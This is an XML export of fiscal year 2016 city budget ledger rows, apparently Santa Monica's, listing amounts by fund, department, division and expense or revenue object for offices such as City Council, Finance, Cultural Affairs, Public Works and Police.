<row _id="18309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6120</total></row>
<row _id="18310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2171</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2171</total></row>
<row _id="18311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9148</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9148</total></row>
<row _id="18312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14547</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14547</total></row>
<row _id="18313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569160.0</object><object_description>18TH STREET ARTS COMPLEX</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8579</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8579</total></row>
<row _id="18315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11584</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11584</total></row>
<row _id="18316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="18317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>479514</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>479514</total></row>
<row _id="18318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1046</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1046</total></row>
<row _id="18319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>129031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>129031</total></row>
<row _id="18320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569180.0</object><object_description>HIGHWAYS PERFORMANCE SPACE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400890.0</object><object_description>CITY OF LA  - SEWER REPAIR</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-406074</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-406074</total></row>
<row _id="18323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402630.0</object><object_description>WASTEWATER MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="18324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="18325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>112847</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>112847</total></row>
<row _id="18326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533570.0</object><object_description>CONF / MTGS / TRAVEL-TOD</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3089</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3089</total></row>
<row _id="18327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26631</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26631</total></row>
<row _id="18328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8344</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8344</total></row>
<row _id="18329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3115</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3115</total></row>
<row _id="18330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>877826</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>877826</total></row>
<row _id="18331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>217</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>217</total></row>
<row _id="18332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>958</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>958</total></row>
<row _id="18333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5840</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5840</total></row>
<row _id="18334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10955</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10955</total></row>
<row _id="18335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>45000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45000</total></row>
<row _id="18336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14916</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14916</total></row>
<row _id="18337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544400.0</object><object_description>COMMUNITY ARTS GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>134220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>134220</total></row>
<row _id="18338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7456</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7456</total></row>
<row _id="18339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8221</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8221</total></row>
<row _id="18340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>670</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>670</total></row>
<row _id="18341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>425</total></row>
<row _id="18342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569120.0</object><object_description>SM MUSEUM OF ART</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35000</total></row>
<row _id="18344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>107</total></row>
<row _id="18346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8973</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8973</total></row>
<row _id="18347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533610.0</object><object_description>CONF / MTGS / TRAVEL-RB</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>107</total></row>
<row _id="18349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28863</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28863</total></row>
<row _id="18350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>253525</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>253525</total></row>
<row _id="18351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569200.0</object><object_description>SM PLAYHOUSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1520</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1520</total></row>
<row _id="18353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>800</total></row>
<row _id="18354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404340.0</object><object_description>INDUSTRIAL WASTE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-375000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-375000</total></row>
<row _id="18355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>405500.0</object><object_description>STORMWATER MGMT USER FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1240000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1240000</total></row>
<row _id="18356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13638</total></row>
<row _id="18357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533580.0</object><object_description>COMPUTER/SOFTWARE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>507601</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>507601</total></row>
